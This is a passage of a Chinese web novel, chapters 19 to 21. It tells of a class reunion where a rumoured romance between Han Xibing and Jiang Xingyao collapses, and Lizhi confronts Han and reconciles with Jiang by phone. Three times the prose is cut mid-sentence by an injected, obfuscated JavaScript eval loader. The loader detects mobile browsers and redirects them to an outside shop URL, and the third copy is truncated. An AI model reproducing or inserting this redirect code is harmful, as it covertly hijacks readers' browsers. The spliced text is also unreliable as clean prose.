[@韩习冰我没生气啊,上次我正烦燥着,语气可能不好,你别怪我才真!] 林烯媚:[@利知那你还喜欢男神不?] [嗳我没别的意思,就是要是习冰真的和男神在一起了,我怕你会生气] 利知:[怎么会/微笑] [我祝习冰和男神恩恩爱爱,长长久久呀/微笑] [除非蒋星尧明明喜欢我的,却非要和习冰在一起,那我就真生气啦/发火] 利知这段话惹来了集体群默。 也不算集体吧,本来活跃的也就她们姐妹几个。 打破沉默的,是谢霄发出来炸满了屏的一串“哈哈哈”。 看到谢霄也来了,利知总算觉得自己不是孤军了。 利知没和韩习冰同桌之后,是和谢霄坐到毕业了,那段时间韩习冰还有几个姐妹有意疏远利知,背后还说些有的没的的话,谢霄都知道的,也算是韩习冰和利知这段友谊从亲密到闹翻的见证者。 谢霄私聊利知,[那几个人明阳怪气的,别理她们,你看看群里其他人都没说什么,就那几个人蹦跶,臭不要脸的!] 利知心时一暖:[我没事。] 又问她:[你去聚会吗] [你去不去?] [去啊!]不去难为她们架起舞台唱起大戏了。 [你去我就去] 谢霄愤愤不平,[韩习冰这人净长皱纹不长脑子的吗?都过去那么多年了,还来阴阳你] 利知想了想:[大概是,对我爱而不得?] [哈哈哈那我们必须去一趟!!] * 反正写文没见点进展,索性暂停一下,去参加同学聚会吧。 他们租了一家有草地露营的农庄,这里可以烧烤煮菜,也有唱K房。 虽然是两个班聚会,来的大概就三四十人。 因为是隔壁班,有些人虽叫不出名字,还是很眼熟,遇见了会点头打招呼。 利知和谢霄一起来的,也有好一些聊得来的同学挺久没见了,便坐聚到一块聊天打牌玩游戏。 五班有一个是利知的读者,一见到利知就拉着她聊天。 不一会韩习冰和她两个姐妹走了过来。 韩习冰高中时出了名的清冷美人,几年没见,更多了几分成熟靓丽,就这么清清冷冷地走过来,俨然成为人群里的焦点。 韩习冰坐到了利知对面,罔顾周围的人,对着利知嫣然一笑道:“好久不见了,利知。” 利知浅笑着回了句好久不见。 林烯媚托着脸听了会利知和隔壁班女孩的聊天,转而问利知:“我听习冰说你以前不怎么喜欢吃糖的啊,怎么起的名字还带糖字?” 不等利知开口,隔壁班的女孩替她作答了,“因为起名的那天利知从超市收银员那里得到了一颗牛奶糖当找零,她把那颗糖送给一个坐在小板凳上哭的小女孩,小女孩就不哭了。她说看着小女孩吃糖吃得那么香,突然明白了,对一样事物的喜欢与不喜欢,都是因人而异的,大家都不必强求。于是就把喜欢的荔枝,和不喜欢的牛奶糖组成笔名,用来鞭策自己。” “利知有专门解释过笔名的由来的。”女孩对林烯媚挤了挤眉,“姐妹,看来你很少看利知的书呀。” 林烯媚表情讪讪,瞄了一眼韩习冰,随之笑着说:“哈哈我是没怎么看过利知的小说啦,利知高中时和我们一起玩的啦,特别喜欢跟在习冰身边,我们都太熟悉啦,怕看着看着代入感太强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729476|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 大家有一搭没一搭地聊了一会。 五班的一群男孩子簇拥着五班的班长过来,准确说是把陈贺绒推过来的,他往后仰着身体一边呀呀叫着:“哎哎你们别推,撞到美女怎么办!” 一个男孩对着韩习冰努了努下巴,对班长说:“不正合你意吗?” 陈贺绒一脸无奈,于是对韩习冰招了招手,“韩班,麻烦过来一下。” 韩习冰走了过去,又是一阵起哄声。 “两大班长揭力组织聚会,你们私底下不熟我们不信!” “就是啊。” 陈贺绒朝韩习冰缩了缩肩表示无奈。 韩习冰笑着说:“三年隔壁班的缘份也不浅的,大家坐下来熟悉一下也挺不错的。” 一个男孩说:“哈哈哈现在流行内销!” 另一个接,“肥水不流外人田。” “那韩班,我们陈班还有机会吗?” 韩习冰笑着低下头,伸手撩起耳边的头发,手上有什么东西闪了几下。 “咦?这条手链,有点眼熟。” 这时林烯媚走了过来,扬着声说:“当然眼熟啦,你们班的蒋星尧就有一条啊。” 男孩一拍脑袋,“难怪眼熟,上次和星尧一起吃饭就见他戴,还宝贝着呢!” 另一个说:“星尧上任那个视频,我看到他戴的也是这条。” “哦——”众人暧昧地看向韩习冰。韩习冰只是淡然一笑。 陈贺绒趁机推脱说:“呐!眼见为实啊,韩大美人名花有主,你们别乱点鸳鸯!” “切!你是怕被星尧剥皮了吧!” 大家都笑了起来。 利知也跟着笑了,只是笑得有些牵强。避免被人看到,她低下头喝水掩饰。 遑论手链的来源如何,但都这么多年了,大家还是觉得只有韩习冰这样的,才能和蒋星尧般配吗? 这时有人问:“话说回来,怎么没见星尧,还没到吗?” 陈贺绒说:“他出差了归期未定。” “哎哎一说曹操曹操就到!” 陈贺绒举着手机接了电话,还开了免提,“蒋大帅哥,有人正念着你呢。” 电话那头传来蒋星尧含笑的声音,“谁念我了?” “大家都在念你,特别有个女孩啊——”陈贺绒故意把音拉长,“一提到你就害羞得不得了。” 陈贺绒暧昧一笑,“小子,是不是谈恋爱啦?” “嗯?你们知道了?” 任谁都能听出蒋星尧音里的愉悦。 大家起哄起来,特别是五班的男孩子们。 “谈恋爱了也不吱个声!” 蒋星尧说:“还没追到啊,追到了会告诉你们的。” 又是一阵此起彼伏的起哄声,“哇靠,还没追到啊!” 大家纷纷把目光投向伫立在一旁的韩习冰。 韩习冰垂下眼眸,看不清表情,那角度很容易让人觉得是因为害羞而沉默的样子。 这时有人扬着声调侃蒋星尧,“不地道啊星尧,把人家留在这里,豺狼虎豹多得很呢!” “嗳说谁呢,同学之间团结友好好吧,没听到吗,人还没追到,小心把人吓走!” 又有男孩凑到手机旁喊道:“星尧你这是情场职场双丰收的节奏啊,不发红包助助兴怎么行!” “对对对!蒋大总裁发红包发红包!” 紧接着越来越多的人附和他。 “好啊!”蒋星尧笑着说,“叫贺绒面对面建个群,我也来凑一下热闹!” 利知拿出手机,发现蒋星尧在二十分钟前给她发了信息,问她玩得开不开心。 这时陈贺绒拿着手机一通操作,“来来来,口令是888888,都进来!” 利知抿唇盯着界面一秒,没回复,点了返回。 不一会群就建好了。 蒋星尧群里问:[都进来了吗?] 陈贺绒:[齐了] 蒋星尧:[那我发了啊] 大家纷纷低头点着手机,现场哄闹一片。 “哇靠!我抢了七百多!” “我三百。” “666。” “啊!为啥我只有十五块六。” “我就六块……” …… 谢霄拉下来看了利知的数额,直笑出来,“哈哈168,好意头啊!” 利知看了她的,245,“你也不差。” “是啊!好久没收到这么大的群发红包了!” 大家纷纷在群里发谢谢的表情包,说感谢的话。 [感谢大包!祝蒋大帅哥有情人终成眷属!] [不应该是早日追到心上人吗?] 这时现声有人起哄起来,“嗐,还祝什么祝,红包都收了,大家帮忙让人现场答应不就得了!” 话一出,大家一应的附和。 利知心里咯噔一下,连忙抬头去看韩习冰,只见她紧抿着唇盯着手机,脸色铁青。 大家都笑了起来,直接调侃起韩习冰。 “韩班,你就别吊着星尧啦,趁着我们都在,就给星尧一个台阶下吧!” “是啊是啊,赶紧答应了!” “答应答应!让我们做做大型示爱现场见证者!” 韩习冰的脸色苍白,嘴角扬起一抹牵强的笑,“大家误会了……” 有人笑哄哄道:“韩班,都这个时候了还矜持吗?” 这时有人在群里@蒋星尧,[韩班害羞啊,要不你给她打个电话!] 蒋星尧:[韩班?六班的班长吗?] [是啊,韩习冰啊]有人回。 蒋星尧:[???] [她害羞和我有什么关系?] 19. 第19章 气氛瞬间安静下来,沉默越久越发尴尬。 怎么感觉蒋星尧对韩习冰不大熟的样子。 难道这么久以来,他们吃的是一个烂瓜? 大家看向眼韩习冰,然而谁都没开口问。 有人撞了下陈贺绒,示意他出马。 陈贺绒叹了一口气,转过头看向韩习冰,支吾着问:“你和星尧……” “不是!”韩习冰木着脸坚定道。 陈贺绒为难了,“那……” “我来说吧。”韩习冰出声说,紧接着对着手机一能操作。 不一会,群里有她的发言: [抱歉,他们误会我和你是一对了] [@蒋星尧] 气氛瞬间凝滞,时间每一秒仿佛都被蓄意拉长。 有人瞄着那个迟迟没新信息的聊天框,又给身边的人递个眼神。 陈贺绒率先打破沉默了,“哎怎么这么少酒的,阿律你叫了几箱?” “两,两箱啊。” “两箱怎么够!”陈贺绒站起来,“走!去搬多两箱过来!” 陈贺绒的嚷嚷好像给了气氛一点助燃剂,大家低声聊着些有的没的。 韩习冰直着身子端坐着,如在微风中伫立的芦苇。她的眼神毫无波澜,双唇紧闭,双手规整地放膝盖上。 看似与平常无异,可是利知还是看出了端倪,有些微习惯就算经年累月都磨灭不掉的。 韩习冰以前每次从家里跑来她家的时候,就是差不多的神情,就好像是,对遭遇的一切强行麻木。 “利知,手机响了。”谢宵提醒她。 “啊,哦。”利知回过神低头去看,是蒋星尧打来的! 连忙按掉。 又响。继续按。 谢宵奇怪道:“怎么不接?” 利知抿着笑摇摇头。 她下意识的不想让大家知道,她和蒋星尧此时模糊又暧昧不清的关系。 电话没再响了,信息却随之而来。 [不接?] [那我打给陈贺绒,让他叫你听] 很好啊!威胁上了。 还该死的有用! [等等我!!] 利知想了下,觉得还是要为刚才多次挂电话做个解释吧! [我先蹲完厕所] 利知找了个安静的地方打过去。 接通之后,双方一度没出声。 片刻后,蒋星尧叹了一口气,“我一直以为他们说的是你,怎么突然冒出个韩习冰来呢?” “大家一直都认为你和韩习冰才是官配啊!”利知嘟囔着,“也不想想你们都传了多少年了……” “和我传过的女孩多了是,个个都算数我岂不是成了海王?” “谁叫你长得像了!”利知头脑一热蹦出来的话,一说出来就后悔了。 “我?像海王?”蒋星尧被气笑了,“既然这样,我等下跟大家澄清,我最近在海你,没空理那个什么韩习冰好了。” 生气了生气了! 可利知心里也不好受啊,再次开口语气也不大好了,“这个局面又不是我造成的。” “你可以澄清的。我喜欢的谁,你又不是不知道。”他声音沉沉,语气里带着无奈。 出差忙起来倒没察觉,直到病了,紧接着和利知断联,那阵子心里像有无数的虫子滋滋地往上爬,心痒痒却挠不到,还有忐忑不安。 一听到群里说的对象不是利知,那心里更是堵得慌。 那一刻他才真切地意识到,还没谈起恋爱呢,就尝到爱情的苦了。 “还是说,”蒋星尧苦笑着说“我高估了自己在你心里面的位置了?” 利知心里一酸,对于大家的误会她也挺无奈,可是她一个过去与他毫无交集的人,突然站出来澄清,不说很奇怪,也没多少人信吧? 反正,她没这个勇气。 “蒋星尧,有没可能,是你高估了我。”利知的声音低缓,带着些颤意,“和你传过的女孩那么多,可是里面没有我啊。我去澄清,有人信吗?” 双方陷入了沉默。 蒋星尧心情不好归不好,但清楚这件事不能怪利知,怪只能怪,横在他们之间的阻碍,还没被一一扫清。 “抱歉,这件事是我没处理好。”他低声开口,“那些传闻之所以没去理会,一是对我影响不大,二是对我身边的人没影响。” 他苦笑着说:“没想到都过了那么久了,我还是被自己当年的不作为坑进来了。” 他又说:“我和那个韩习冰根本没什么交集,外面传的什么我也不清楚。” 因为不在意才不清楚。这一点他在群里发言已经表明态度了。 利知低着头把脚边的小石子踢到一边,轻声说:“他们说你们是邻居,是青梅竹马。” “青梅竹马?”蒋星尧笑了,“有够离谱的!” “什么都不是!”他又补充道。 “还有什么传言?说来听听。” “嗯,校花级花班花,哦还有英语角花,都轮流传过。” “这么多花的?” “还有那个校际舞蹈比赛冠军,你上去颁奖还对人家放电了,之后人家放学就来学校等你。” “我什么时候放电了?还有,那个人我早八百年拒绝了。”蒋星尧顿了下,随即一笑,“记得这么清楚呢!是早把我盯得紧紧的?” “我,我也是道听途说的……” “说我是海王也是道听途说?” “不是说你是海王,是长得像……” “嗯,相貌攻击了。” “这不是说你帅嘛!”利知鼓着脸低声说,“一笑起来就到处放电。” “真冤枉我了,”他用无辜的语调说,“真正带电流的也就对你。” “……”利知不争气地脸红了,语气生硬道,“打住!扯太远了!” 利知问:“那接下来要怎么办?” 蒋星尧收起了调笑,“没事,交给我吧。” * 利回到位置上,谢霄凑过来问:“怎么这么久?没事吧?” “没事,”利知说,“就是有些事要处理,就聊久了些。” 谢霄一脸神秘的样子,“韩习冰发了消息之后,一直没得到蒋男神的回复哈哈哈!” 谢霄的声音压得很低,却快意外漏,挡也挡不住。 “可能,有事要忙吧。” 嗯,忙着和她聊电话。 利知下意识地看向角落里,韩习冰低头玩着手机,钟枞和林烯媚也在旁边,三个人并无交流。 这时有人低声嚷着:“哎,星尧发消息了。” 大家纷纷点进去。 蒋星尧:[@韩习冰抱歉,刚才有事要处理,还有刚才的话不是针对你的/握手] 蒋星尧:[@陈贺绒没带好头!女孩子的声誉能拿来开玩笑的?] 陈贺绒觉得冤枉,[你们一直绑的官配,咋就是我没带好头了?] [今时不同往日啊,以前权当消遣,现在会影响女孩子恋爱的] 陈贺绒想了下,他的确有责任,刚才大家笑他和韩习冰一起组织聚会,他才把事丢给没在现场的蒋星尧头上,没想到还闹了个乌龙。 [好好,我来说。] 陈贺绒轻咳了一声,“呐,大家也看到了,这是一场美丽的误会,都别拿他们开玩笑……” “嗳?不对啊!”陈贺绒说着又觉得哪里的逻辑没闭环,便直接发了条语音过去。 “这事都传了这么多年了,以前怎么不见你怕影响人女孩子谈恋爱了?” 蒋星尧大大方方地回道:[不澄清会影响我谈恋爱的啊,我也要清白的啊。] “噗哈哈哈!”谢霄忍不住笑了出来,“真好奇是什么样的女孩把蒋星尧迷得神魂颠倒了哈哈哈!” 利知听了手一滑,差点没拿稳茶杯。 有人接道:“哈哈哈对啊!让帅哥放着这么个大美女都不心动!” 又是一阵缄默,大家不约而同地看向韩习冰。 反而是当事人没事般把自己置身事外。 利知有些局促不安,真害怕此时蒋星尧会突然@她。 还好蒋星尧要忙了,最后表达了没能参加这次聚会的遗憾。 蒋星尧:[等我忙完再请大家聚一聚,到时还请大家都赏个脸呢] 众人纷纷应着。 现场很快又恢复聚会的常态,仿佛刚才的一幕幕如昙花一现般。 利知的状态却还停留在刚才。 她还小人之心,怕蒋星尧会@她当众逼宫呢! 刚才大家逼宫韩习冰的画面还历历在目,她怕呀。但仔细想一下就知道,他不会这么做的。 蒋星尧对她的态度一直都没遮遮掩掩,磊落大方,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733607|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从不逼迫她,给足她时间和空间,又怎么会反自然地逼她呢! 反而是她一直在犹豫,在回避。 他们之间的现状就好比,蒋星尧向前99步,她退后一大步。 永远留着着那一段距离,是她有意为之的。 “怎么了嘛?”谢霄撞了下利知的胳膊,“听到男神有喜欢的人,心情不好了?” 利知转过身凑过去问她,“你觉得,被男神喜欢的人,应不应该很开心?” “不是应该,是肯定会!那可是男神耶!有钱有颜身材又好。你看他刚才说的就感觉到对那女孩有多重视了。”谢霄笑着说,“我要是那个女孩,作梦都会笑醒!” 是啊,这么好的人,她在顾虑什么呢? 好像形成了一种思维习惯,在好事来临之际,她总是会先想到坏的结果,然后消极情绪就会把那份喜悦之情打压下去。 还有就是…… 利知下意识地看了一眼韩习冰,她正低着头,后颈细长,露出如天鹅般的优美线条。 高中也好,刚才的事件也好,都有韩习冰做衬托,就,更显得她配不上蒋星尧。 “别不开心啦,笑起来!”谢霄双手捏了捏她两边的脸,“不开心的该是韩习冰那个Loser!” 谢霄停顿住,转而捉急地说:“哎Loser看过来了!给我挺起腰杆来!” 利知直起腰来,才意识到谢霄指的“Loser”是谁。 再次望去,原本低着头的韩习冰正一瞬不瞬地盯着她这边,眼里布着阴霾,嘴角却扬起一抹诡异的笑。 那笑意让人不寒而栗,仿佛刚才当众尴尬的不是她,而是利知。 利知现在的心里一团糟,便懒得去理她了。 桌子上放着新拿来的啤酒,她拿起一罐开了,问谢霄,“喝不喝?” “喝啊!”谢霄也开了一罐,两人碰了下便喝起来。 谢霄的手机响了,拿起走去外面接电话。 利知一个人闷头喝着酒,身边的女孩们叽叽喳喳地聊着刚才的事。 “男神居然一点面子都不给韩习冰!真是出乎我意料!” “是啊,韩习冰耶!都入不了男神的眼,你说男神喜欢的人到底是怎么样的?” “肯定不是在坐的我等凡人哈哈哈!” “喜欢普通人也没什么,就是怕有视网膜效应。” “那是什么?” “就是无论谁是男神的女朋友,都觉得她配不上男神哈哈哈。” “嗐!这有啥,我要求不高,不是帅哥配丑女就行。” “去!哈哈哈!” 利知如坐针毡。 这时谢霄接完电话回来说客户那里有些事要她去现场处理一下,她要先走了。 “那我也走了!”利知忙不迭拿起包包站了起来。 谢霄一脸讶异,“这么急?” “嗯,也差不多了。” 她们和大家打了招呼就离开了。 结果才走出从群外,就被一道高大的身影拦住了。 “你们好,我叫丘裕仁,是五班的。” 那人拦的是两个女孩,眼神却直勾勾地盯着利知,“你们可能觉得我面生吧?其实以前我很胖的,现在瘦下来了。” 利知皱着眉,在他的脸上搜索一遍,有点印象,但不深。 谢霄捅了捅利知,朝她暧昧地眨眨眼。 丘裕仁看向利知,“你叫利知是吧?我记得你以前也挺胖的,你现在瘦下来了还挺好看的。” 他洋洋洒洒地说:“你不觉得,我们挺有缘份的吗?一起胖过,现在都瘦了。要不加个微信了互相解一下?” 利知扯起一个牵强的笑,“不用了。” 然后拉着正努力憋笑的谢霄,快步走了出去,生怕那个人一时看不开又追上来要“续缘”。 谢霄一走远就不顾形象地大笑起来,“哈哈哈哈大开眼界了,第一次见识到这么清奇的搭讪方式!” 利知双手左右开攻嘎她的腰,“笑,笑啊,还笑!” 谢霄也礼尚往来戳她,顿时两人都笑得不可开交。 “利知!”一把清冷的声音从后方响起。 两人一怔,待那人走近时,谢霄收起了不着边际的笑。 韩习冰淡淡地看过来,声音温温婉婉的,语气却带着惯常的,不容人置疑的凌厉,“我们谈谈吧。” 20. 第20章 农庄位于帽子山下,远处是苍苍交叠的山景,眉样翠色如瀑布倾泻而下,延伸至眼前。 三个人干巴巴地站了好一会。 韩习冰不着急也不怕尴尬,面带微笑地看向二人。 利知拉了拉谢霄的手指,示意道:“你先走吧。” 谢霄抿唇犹豫。 利知说:“你的客户不是急着见你吗?快去吧!” “有什么事给我打电话。”谢霄还是有点不放心,深深地看了韩习冰一眼才离开了。 利知眺望远处层层叠叠的山影,平静地问道:“找我有什么事吗?” 韩习冰一笑,“想看你笑话呀!” ?? 利知以为听错了,转过头看着她,“我有什么笑话?” 韩习冰冷冷一笑,没头没尾地来一句,“难过吗?蒋星尧有喜欢的人了。” “……” 见利知没什么反应,韩习冰认为自己猜对了,便哈哈笑了起来,“我就喜欢看你吃瘪。你这副怂样,和当年一模一样!” “看我吃瘪?”利知觉得很是荒谬,突然,想到韩习冰前些日子热衷叫她来聚会的行为联系起来,好像一切又说得通了。 她扯了扯嘴角问道:“所以,你重新找上我,三番四次催我来聚会就是为了看我吃瘪?” “是!”韩习冰的回答很干脆利落。 所以,韩习冰这次的目的是,她和蒋星尧绑个假CP,让利知难受。 然而韩习冰这个假CP被当众揭穿了,却意外得到蒋星尧高调宣示有喜欢的人。 结果虽然令韩习冰难堪,但同样的,她把隐匿在暗处的利知也拖下水。 利知有一点不懂了,今天的场面尴尬的是她,而利知只得到了一个无关痛痒的‘蒋星尧有喜欢的人’的信息。 那韩习冰的快感到底来自于哪里? 利知侧过头来仔细端详着她。 她的五官依然精致,脸上倒是少了高中时的婴儿肥,更突显了美人骨相。 只是,微微勾着的嘴角,如注入了冬日寒冰的眼神,让那份明艳照人削减了许多,更显得刻薄。 “利知,你高中就把暗恋题材写得那么入人心肺,还有你最出挑的小说不就是男主人设好吗?那些男主只稍微代入一下就知道,和蒋星尧有七八成相像了。” 韩习冰用笃定的语调,仿佛陈述的是她亲眼所见的事那般。 韩习冰又说:“还有,你这么多年来都没遇到合适的男人吧?是什么原因你心里不清楚吗?不就是以蒋星尧为标尺,其他人很难入你眼吗?” “现在蒋星尧有喜欢的人了,你的幻想破灭了哈哈哈哈……” 利知听着,不禁头皮发麻,韩习冰竟然对她的事了如指掌! 更让利知震惊的是,韩习冰居然能从她从未想过的角度去剖析她! 那种震憾绝对不亚于得知蒋星尧是纵卫总裁身份。 韩习冰人够聪明,凡事入木三分,更可怕的是还心够狠,人又够疯狂。 利知忽然想起高中那时说蒋星尧是韩习冰的邻居、青梅竹马的谣言,还有故意纵容她的姐妹制造她和蒋星尧的话题。 是不是她早看准了蒋星尧一直以来对谣言的态度都是不理不睬,而肆无忌惮地利用起蒋星尧? 利知看向她,颤着声音问:“你和蒋星尧是邻居、青梅竹马那些话,是你故意制造的吧?” 韩习冰哈哈笑着说:“你知道得会不会晚了点?” “疯了你!” 韩习冰冷笑着说:“怎么?听到蒋星尧要谈恋爱了心里还会不舒服吗?我该说你笨呢还是夸你够专情呢?你看当初那些嚷着非蒋星尧不嫁的女孩,现在大都身边有人了,也就你把这么一个人当神一样。醒醒吧你!” 利知轻叹了一声,韩习冰总把最阴暗的一面展示给她看,是多不把她放在眼里呢? 她指了指里面,“这个样子的你,里面的同学都不知道吧?” 韩习冰的表情阴沉了下来,嘴角勾起一抹狠毒的笑,“能打击到你,两败俱伤又何妨!” 利知不禁背后发冷,韩习冰对人友好时可以掏心掏肺,一旦敌视,为了把对方拖下水,甚至于让自己身处泥沼。 再去看那张明艳的脸,还潜藏着尖酸和刻薄,利知不禁有个疑问:韩习冰,到底待人有没有真诚过呢? “那蒋星尧呢?”利知看向她,“你有喜欢过他吗?” 韩习冰一愣,随即哂笑道:“这重要吗?” 利知愣住,是啊,这重要吗? 她嗤笑着摇头,“对我来说不重要了。” 韩习冰神情一滞。 利知继续说:“你做这些不就想证明我配不上蒋星尧吗?既然要用蒋星尧打击我,怎么又埋汰起他来呢?” 利知停顿,转而深深地看向她。韩习冰了解她,她也同样了解韩习冰,今天的事她看似无所谓,实质在意得很。 利知问道:“是因为刚才他的否认让你当众出糗了吗?” 韩习冰表情龟裂,像是在洪水冲击下越发单薄的堤坝,正摇摇欲裂。 她怒吼道:“你胡说!” 利知又指了指里面,“你还没你的好姐妹心宽呢。” “喜欢,就要祝福的啊!” 利知从容地走近她,笑着问:“我很好奇,如果我和蒋星尧在一起了,你会不会祝福我?” 韩习冰嘲笑道:“你做梦吧?” “是啊,我就做做梦。”利知说,“你只需要说会不会祝福?” 韩习冰毫不犹豫道:“当然!” “好!”利知神态轻松地点点头。 韩习冰讥笑道:“哪来的自信?你以为你能赢得过人家的白月光?” “试试才知道啊。我从没想过要赢过谁。” 利知转身欲走,忽又停住,侧着脸对她说:“虽说喜欢一个人是个人的自由,可依你对蒋星尧这种既要又要的行为来看,你连喜欢他都不配!” 离开的时候步伐较来聚会前轻快了不少。 高中毕业之后,利知偶尔还会想起那个白衣袂袂的少年,他身材瘦高,脸上总是洋溢着笑意,举手投足之间总是潇洒中带着雅痞,阳光中带着青春的荷尔蒙气息。 时间久了男孩早已幻化成了一个代表着青春的符号了。 刚才韩习冰说她小说里的男主以蒋星尧为原型,还说她的择偶标准以蒋星尧为标尺。 这些话带来的震撼的余韵还没消,连带着那些沉睡了的意识如春笋拔长。 那时候,每逢月末月初都有学生代表上台讲话的,而最常见的就是蒋星尧的身影。 不同于其他人说着“努力学习为社会做出贡献”之类的空话,蒋星尧每一次的讲话都是诚意满满,他会说自己的语文不好,于是会刷很多历年考试的题型; 他会说自己的错题本,还详细说过他的错题怎么分类;他说他看书分清哪些快看,哪些细看慢看,还说怎么做的读书笔记;他说崇拜信念感强的人,那些人面对困难和压力,甚至是不被人认可的时候,都只一笑而过。 利知的成绩不算好,也许是把蒋星尧的话听进去了,开始有意识去改变,把他说过的学习方法融入她的学习当中,终于在高二下学期,成绩有了稳定提高。 后来开始写小说了,因为急功近利,找干货,找对策,结果还是不理想。她不由得想起高中时蒋星尧说过关于阅读的话,渐渐建立起自己的阅读体系。 还有写小说不怎么会立人设,特别是男主,她会想,到底是什么样的男人会让女人喜欢的呢?第一个跳出脑海的人,就是蒋星尧! 甚至每次遇到男主剧情的关键点,她都会停下来想,如果是蒋星尧,他会怎么做呢? 都说爱情有一定的滞后性,那份恍然未觉的喜欢,并不是泛指代表着青春的少年,而是那个真真切切的蒋星尧啊。 过去的一帧帧画面,在脑海里如电影胶片般闪过,在一瞬间醍醐灌顶! 以前觉得高中那三年有诸多的不堪回首,现在想来,并不然。 单就认识了蒋星尧这个人,她就已经赚翻了! 如是想着,脚步越发轻松了。那种感觉,就像一个内存告急的手机,一下清空了所有无用的东西,准备接纳新的一切。 午后的阳光过分的热烈,偶有一阵微凉的山风吹拂而过,一热一凉窜进心房,让其狠狠地颤栗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738198|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 利知上了一辆出租车,报了家地址后,拿出手机一看,蒋星尧给她打了好几通电话!还有微信通话请求! 蒋星尧[/微笑/微笑] [还挺忙的啊] 然后是一张截图。 利知点开来看,赫然是聚会前她在自己班群里,和林烯媚还有韩习冰虚与委蛇的周旋的对话。 蒋星尧还细心地把她和林烯媚的对话画了个醒目的红色框框: 林烯媚:[@利知那你还喜欢男神不?] [嗳我没别的意思,就是要是习冰真的和男神在一起了,我怕你会生气] 利知:[怎么会/微笑] [我祝习冰和男神恩恩爱爱,长长久久呀/微笑] [除非蒋星尧明明喜欢我的,却非要和习冰在一起,那我就真生气啦/发火] 利知的脑袋嗡的一声响,忙低下头打字:[刚才有事] “耽搁了”三个字还没打出,就收到一条短信,是银行卡里有一笔五位数的转账。 利知一脸懵地点开手机银行查看,付款方是,蒋星尧! 她大脑宕机,怎么突然给她转钱? 他们唯一的金钱来往,就是那笔陪护的酬劳! 那笔钱利知没具体算过,因为都是根据基本工资+加班费日结给他的。按这个转账数目来看,只会多不会少就是了。 利知开始写作那时就知道钱难挣,没日没夜地敲了几十万字也许没值几个钱,因此在开始挣钱之后,她对每一笔收入格外珍惜,以往看到钱进账,都会生理性的欣喜。 可是现在,盯着这个新增的数目,利知的心脏仿佛被一只无形的手狠狠地勒紧,疼痛难忍。 多日以来被她下意识去抑制的那股情绪,再加上今日经历的种种,如海啸般汹涌侵袭而来,势不可挡,她哇一声哭了出来。 利知的声音不大却突然,把正在开车的司机吓了一跳,“小姑娘怎么突然哭了?” “不好意思,我……”利知抽泣着,“我控制,不住。” “无论遇到什么事,想开一点就好了。” 利知的脑袋一团乱糟糟,司机和蔼可亲的态度滋养了她的倾诉欲,“他……他不要我,我的钱了呜呜呜……” 司机秉着能劝一个是一个的想法,“他不要钱肯定有他的道理吧,别急着哭,要不打过去问问?” 对!问问他! 利知擦掉模糊眼睛的泪水,低头给蒋星尧打电话。 电话一接起,利知不给他说话的时间便问:“你干嘛把钱退回来了?” 声音拔高又低低落下,“你把钱退了,我们过去的半个月,算什么啊!” 司机透过后视镜看了利知一眼,眼神里多了几分打量。 蒋星尧气笑了,“我还没算账呢,你先告起状了。” “谁叫你这么过分!” “我过分,”蒋星尧不怒反笑,“你祝我和别人恩恩爱爱就不过分了?” “我,我是在气她。” “她有没被气我不知道,反正我被气到了。” 在群里闹了乌龙之后,蒋星尧私底下找了几个同学了解整件事,辗辗转转得到了6班班群里一些讨论他和韩习冰的聊天截图。 大概锁定了制造舆论的是韩习冰身边的林烯媚和钟枞二人。他清楚,没得到本人的同意,二人决不会胡乱绑CP的。 也看到好些人有的没的附和,可他没想到利知也参与进来了,还祝福上了。 如果说群里闹的是乌龙,那他现在可抓到了现行的,她何不是这个乌龙的附和者。 对,他气的是这个。 利知经过片刻也冷静下来了,听到蒋星尧说气到了,那股焰也降了,“对不起嘛。” 因为才哭,利知的声音没带上哭腔,反而因为语气软下来后,听起来像在撒娇,还有委屈。 蒋星尧听得真真切切,他静默了一瞬,随即深深地叹了一口气,叹自己栽下来的无奈感,同时也觉得很神奇。 利知就服下软,道个歉,那股盘旋已久的气居然就消失了。 或者说,是甘之若饴吧。 再开口中时,语气也柔和了下来,“哭了?” 21. 第 21 章 【把原来的15、16章合并了,最新更新变成20章,情节对不上的请跳回原来的20章看。此条消息保留24小时】 谎言揭得不要太快! 蒋星尧隐起笑意,“点了两杯?哪杯更好喝啊?” “还没喝……” “是哦,你烫到手了。” 利知干脆说:“连嘴也烫到了……” “嗯?” “不方便说话。” “……”蒋星尧对着镜头的天花板一阵沉默过后,低哄道,“拿起手机让我看看。” 利知磨蹭了一阵子,才拿起手机,眼神闪躲着,看一眼撇开又看一眼。 蒋星尧托着下巴,眼神杳亮紧盯着屏幕,过了好几秒,轻轻点了下头,“还好,没烫伤。” 